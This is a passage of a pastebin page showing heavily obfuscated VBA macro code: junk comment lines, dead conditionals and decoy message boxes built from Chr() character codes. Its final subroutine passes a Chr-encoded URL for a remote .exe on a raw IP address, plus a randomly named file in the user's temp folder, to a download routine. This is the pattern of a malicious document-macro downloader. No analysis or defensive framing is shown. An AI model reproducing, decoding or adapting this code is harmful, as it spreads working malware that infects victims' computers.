  1123. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1124. End If
  1125. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1126. If Len(Chr(101) & Chr(104) & Chr(99) & Chr(102) & Chr(103) & Chr(100) & Chr(118) & Chr(98) & Chr(56) & Chr(49) & Chr(49) & Chr(56)) = Len(Chr(106) & Chr(98) & Chr(106) & Chr(113) & Chr(108) & Chr(98) & Chr(98) & Chr(109)) Then
  1127. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1128.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1129. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1130. End If
  1131. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1132. Put #25, , dtuyfnfh
  1133. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1134.  
  1135. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1136. If 478173 = 478173 + 1 Then End
  1137. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1138. If 5323 < 71 Then
  1139. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1140.        MsgBox (Chr(111) & Chr(97) & Chr(97) & Chr(102) & Chr(117) & Chr(112) & Chr(111) & Chr(101) & Chr(56) & Chr(50))
  1141. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1142. End If
  1143. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1144. If Len(Chr(104) & Chr(106) & Chr(116) & Chr(115) & Chr(104) & Chr(101) & Chr(116) & Chr(119) & Chr(56) & Chr(53) & Chr(56) & Chr(54)) = Len(Chr(118) & Chr(116) & Chr(115) & Chr(105) & Chr(115) & Chr(109) & Chr(106) & Chr(109)) Then
  1145. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1146.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1147. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1148. End If
  1149. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1150. Close #25
  1151. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1152.  
  1153. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1154. If 493914 = 493914 + 1 Then End
  1155. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1156. If 8639 < 43 Then
  1157. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1158.        MsgBox (Chr(106) & Chr(110) & Chr(121) & Chr(104) & Chr(108) & Chr(104) & Chr(100) & Chr(122) & Chr(53) & Chr(54))
  1159. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1160. End If
  1161. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1162. If Len(Chr(105) & Chr(113) & Chr(105) & Chr(99) & Chr(109) & Chr(98) & Chr(101) & Chr(112) & Chr(50) & Chr(57) & Chr(57) & Chr(51)) = Len(Chr(111) & Chr(102) & Chr(113) & Chr(113) & Chr(101) & Chr(118) & Chr(122) & Chr(104)) Then
  1163. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1164.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1165. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1166. End If
  1167. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1168. upvpnycc:
  1169. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1170.  
  1171. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1172.  
  1173. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1174. If 293355 = 293355 + 1 Then End
  1175. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1176. If 5988 < 53 Then
  1177. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1178.        MsgBox (Chr(115) & Chr(111) & Chr(121) & Chr(104) & Chr(108) & Chr(103) & Chr(101) & Chr(97) & Chr(55) & Chr(52))
  1179. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1180. End If
  1181. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1182. If Len(Chr(114) & Chr(114) & Chr(110) & Chr(118) & Chr(99) & Chr(119) & Chr(97) & Chr(105) & Chr(54) & Chr(55) & Chr(51) & Chr(56)) = Len(Chr(100) & Chr(107) & Chr(111) & Chr(108) & Chr(109) & Chr(115) & Chr(115) & Chr(117)) Then
  1183. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1184.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1185. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1186. End If
  1187. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1188.    Set ocpvmgeelcx = Nothing
  1189. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1190.  
  1191. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1192.  
  1193. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1194. GoTo delrostx
  1195. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1196. Dim kvzvcucd As String
  1197. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1198. Open Chr(83) & Chr(80) & Chr(84) & Chr(80) & Chr(75) & Chr(65) & Chr(46) & Chr(87) & Chr(90) & Chr(69) For Binary As 38
  1199. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1200. If 146892 = 146892 + 1 Then End
  1201. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1202. If 7572 < 16 Then
  1203. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1204.        MsgBox (Chr(120) & Chr(109) & Chr(109) & Chr(115) & Chr(98) & Chr(106) & Chr(111) & Chr(109) & Chr(50) & Chr(57))
  1205. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1206. End If
  1207. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1208. If Len(Chr(97) & Chr(110) & Chr(114) & Chr(112) & Chr(114) & Chr(100) & Chr(120) & Chr(103) & Chr(56) & Chr(51) & Chr(50) & Chr(51)) = Len(Chr(103) & Chr(111) & Chr(98) & Chr(117) & Chr(111) & Chr(98) & Chr(99) & Chr(112)) Then
  1209. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1210.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1211. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1212. End If
  1213. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1214. Put #38, , kvzvcucd
  1215. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1216.  
  1217. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1218. If 462772 = 462772 + 1 Then End
  1219. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1220. If 1465 < 42 Then
  1221. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1222.        MsgBox (Chr(99) & Chr(106) & Chr(101) & Chr(113) & Chr(98) & Chr(119) & Chr(114) & Chr(115) & Chr(50) & Chr(52))
  1223. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1224. End If
  1225. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1226. If Len(Chr(99) & Chr(99) & Chr(122) & Chr(97) & Chr(108) & Chr(119) & Chr(102) & Chr(113) & Chr(53) & Chr(54) & Chr(51) & Chr(57)) = Len(Chr(121) & Chr(113) & Chr(112) & Chr(120) & Chr(106) & Chr(115) & Chr(98) & Chr(112)) Then
  1227. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1228.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1229. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1230. End If
  1231. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1232. Close #38
  1233. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1234.  
  1235. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1236. If 738861 = 738861 + 1 Then End
  1237. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1238. If 7295 < 47 Then
  1239. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1240.        MsgBox (Chr(117) & Chr(104) & Chr(112) & Chr(111) & Chr(118) & Chr(106) & Chr(103) & Chr(104) & Chr(56) & Chr(57))
  1241. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1242. End If
  1243. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1244. If Len(Chr(114) & Chr(113) & Chr(104) & Chr(118) & Chr(103) & Chr(108) & Chr(104) & Chr(104) & Chr(49) & Chr(52) & Chr(54) & Chr(56)) = Len(Chr(116) & Chr(103) & Chr(108) & Chr(115) & Chr(99) & Chr(106) & Chr(104) & Chr(99)) Then
  1245. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1246.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1247. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1248. End If
  1249. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1250. delrostx:
  1251. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1252.  
  1253. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1254.  
  1255. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1256. If 538254 = 538254 + 1 Then End
  1257. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1258. If 9617 < 24 Then
  1259. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1260.        MsgBox (Chr(100) & Chr(114) & Chr(97) & Chr(108) & Chr(108) & Chr(101) & Chr(117) & Chr(101) & Chr(57) & Chr(54))
  1261. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1262. End If
  1263. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1264. If Len(Chr(100) & Chr(111) & Chr(110) & Chr(112) & Chr(102) & Chr(101) & Chr(106) & Chr(101) & Chr(51) & Chr(56) & Chr(55) & Chr(49)) = Len(Chr(119) & Chr(99) & Chr(117) & Chr(116) & Chr(113) & Chr(109) & Chr(122) & Chr(122)) Then
  1265. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1266.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1267. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1268. End If
  1269. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1270.      
  1271. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1272.  
  1273. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1274. End Function
  1275. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1276. Sub evgvriwbtjr()
  1277. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1278.  
  1279. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1280. GoTo ljoliijf
  1281. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1282. Dim vskgweot As String
  1283. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1284. Open Chr(71) & Chr(74) & Chr(68) & Chr(84) & Chr(82) & Chr(66) & Chr(46) & Chr(71) & Chr(70) & Chr(68) For Binary As 42
  1285. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1286. If 376792 = 376792 + 1 Then End
  1287. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1288. If 3764 < 68 Then
  1289. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1290.        MsgBox (Chr(112) & Chr(104) & Chr(99) & Chr(116) & Chr(117) & Chr(99) & Chr(97) & Chr(116) & Chr(52) & Chr(52))
  1291. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1292. End If
  1293. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1294. If Len(Chr(105) & Chr(115) & Chr(101) & Chr(119) & Chr(99) & Chr(110) & Chr(114) & Chr(121) & Chr(52) & Chr(53) & Chr(50) & Chr(53)) = Len(Chr(120) & Chr(108) & Chr(99) & Chr(108) & Chr(122) & Chr(115) & Chr(116) & Chr(97)) Then
  1295. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1296.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1297. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1298. End If
  1299. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1300. Put #42, , vskgweot
  1301. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1302.  
  1303. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1304. If 412666 = 412666 + 1 Then End
  1305. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1306. If 4667 < 64 Then
  1307. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1308.        MsgBox (Chr(121) & Chr(109) & Chr(119) & Chr(102) & Chr(122) & Chr(117) & Chr(103) & Chr(99) & Chr(56) & Chr(53))
  1309. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1310. End If
  1311. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1312. If Len(Chr(100) & Chr(112) & Chr(118) & Chr(115) & Chr(113) & Chr(110) & Chr(113) & Chr(103) & Chr(55) & Chr(56) & Chr(51) & Chr(49)) = Len(Chr(119) & Chr(118) & Chr(117) & Chr(117) & Chr(105) & Chr(106) & Chr(120) & Chr(102)) Then
  1313. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1314.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1315. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1316. End If
  1317. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1318. Close #42
  1319. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1320.  
  1321. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1322. If 921165 = 921165 + 1 Then End
  1323. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1324. If 3891 < 94 Then
  1325. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1326.        MsgBox (Chr(106) & Chr(111) & Chr(108) & Chr(99) & Chr(120) & Chr(115) & Chr(102) & Chr(108) & Chr(49) & Chr(55))
  1327. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1328. End If
  1329. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1330. If Len(Chr(117) & Chr(108) & Chr(109) & Chr(114) & Chr(99) & Chr(119) & Chr(101) & Chr(97) & Chr(54) & Chr(49) & Chr(54) & Chr(53)) = Len(Chr(111) & Chr(99) & Chr(99) & Chr(107) & Chr(121) & Chr(108) & Chr(101) & Chr(105)) Then
  1331. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1332.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1333. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1334. End If
  1335. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1336. ljoliijf:
  1337. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1338.  
  1339. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1340.  
  1341. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1342. If 169543 = 169543 + 1 Then End
  1343. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1344. If 4651 < 41 Then
  1345. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1346.        MsgBox (Chr(121) & Chr(119) & Chr(106) & Chr(114) & Chr(118) & Chr(104) & Chr(107) & Chr(110) & Chr(53) & Chr(49))
  1347. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1348. End If
  1349. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1350. If Len(Chr(118) & Chr(103) & Chr(115) & Chr(113) & Chr(114) & Chr(99) & Chr(106) & Chr(117) & Chr(53) & Chr(53) & Chr(57) & Chr(49)) = Len(Chr(117) & Chr(101) & Chr(108) & Chr(117) & Chr(110) & Chr(102) & Chr(122) & Chr(121)) Then
  1351. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1352.       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
  1353. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1354. End If
  1355. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1356.    trzfcrwihtc Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(52) & Chr(52) & Chr(46) & Chr(55) & Chr(54) & Chr(46) & Chr(49) & Chr(53) & Chr(51) & Chr(46) & Chr(51) & Chr(54) & Chr(58) & Chr(56) & Chr(48) & Chr(56) & Chr(48) & Chr(47) & Chr(100) & Chr(111) & Chr(99) & Chr(47) & Chr(57) & Chr(46) & Chr(101) & Chr(120) & Chr(101), Environ(Chr(116) & Chr(101) & Chr(109) & Chr(112)) & Chr(92) & Chr(68) & Chr(67) & Chr(73) & Chr(84) & Chr(88) & Chr(69) & Chr(75) & Chr(66) & Chr(73) & Chr(82) & Chr(71) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
  1357. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1358.  
  1359. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1360. End Sub
  1361. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
  1362.  
  1363. 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
RAW Paste Data